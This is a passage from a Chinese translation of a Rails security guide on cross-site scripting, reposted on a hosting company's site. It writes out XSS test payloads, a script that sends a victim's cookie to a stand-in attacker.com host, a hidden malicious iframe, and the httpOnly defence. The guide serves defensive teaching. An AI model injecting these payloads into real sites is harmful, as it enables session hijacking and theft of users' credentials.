快速业务通道

Rails安全导读【完】 - 编程入门网

作者 佚名技术 来源 NET编程 浏览 发布时间 2012-06-16
比较新的,不普遍的切入点方式是广告banner。在2008年较早的时候, 恶意代码就出现在很多知名站点的banner广告上,像MySpace, Excite, 参考Trend Micro.

8.3.2. HTML/JavaScript 注入

最常见的XSS语言当然是最流行的客户端脚本语言JavaScript了,往往和HTML相结合。对用户输入的信息转义处理是必须的。

这里是检测XSS的最直观的测试:

<script>alert(''Hello'');</script>

这段javascript代码会显示一个简单的警告框。下面这个例子不完全相同,仅用在非常罕见的地方:

<img src=javascript:alert(''Hello'')> <table background="javascript:alert(''Hello'')">

Cookie盗窃

到目前为止的例子都没有任何危害,所以让我们来看看一个攻击者如何窃取用户的cookie(从而劫持用户session)。在JavaScript 里你可 以用document.cookie来读写document的cookie. JavaScript遵循同源策略(译者注:大多数可用于异步检索内容的技术都继承了 JavaScript 安全模型的安全性,它使脚本只与源于该脚本所属页面所在的同一服务器的元素进行交互。这就是所有浏览器都实现了的同源策略),这就意 味着一个脚本不能从一个域访问另一个域的cookie。document.cookie 属性仍然持有原始web服务器的cookie,然而,如果你直接在其HTML文档 里嵌入了代码(XSS式)你就能读写这个属性。在你的应用注入这段代码来看你自己的cookie :

<script>document.write(document.cookie);</script>

当然这对于攻击者是无用的,因为是受害者看他自己的cookie。下个例子会试图从 http://www.attacker.com/ 加载一个图片以及cookie。 当然这个URL不存在,所以浏览器也不会显示任何东西。但是攻击者可以在他自己的web服务器的日志文件里看到受害者的cookie。

<script>document.write(''<img src="http://www.attacker.com/'' + document.cookie + ''">'');</script>

在www.attacker.com上的日志文件会是这样 :

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

你可以通过往cookies里加一个httpOnly 标记来减轻这类攻击,以便document.cookie无法被JavaScript读取。HTTP Only cookies可用于IE v6.SP1, Firefox v2.0.0.5 和 Opera 9.5. Safari仍然在犹豫,它忽略了这个参数。但另一方面旧版本的浏览器 (像基于Mac的WebTV 和 IE 5.5 ) 实际会导致页面加载失败。Be warned that cookies will still be visible using Ajax, though.

感染

被攻击者感染的网页可以做很多事情, 例如, 呈现虚假信息或者引诱受害者到攻击者的网站,窃取其cookie,登陆凭证或者其他敏感数据。 最流行的方法是通过iframes包含一个外部来源的代码:

<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none” ></iframe>

它从外部源加载任意的HTML或且JavaScript,并嵌入到这个站点成为了此站点的一部分。这个IFrame来自于使用Mpack attack framework对 一意大利合法网站的一次实际攻击。Mpack试图通过浏览器的安全漏洞去安装恶意软件 - 非常成功,50%的成功率。

一个更加专业的攻击可能会伪造整个网站或是看起来和原始站点一模一样的登陆表单,但是会把用户名和密码传送到攻击者的站点。或者它 可以用CSS或且JavaScript在web应用里去隐藏一个合法的连接,却显示另一个通往冒牌网站的连接。

反射注入攻击不是存储在给受害人呈现的页面上,而是包含在URL里的。 尤其是搜索表单过滤失败那些搜索字符之后。下面这个链接呈现了 一个内容为“乔治布什任命一个9岁的男孩当主席”的网页。

http://www.cbsnews

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号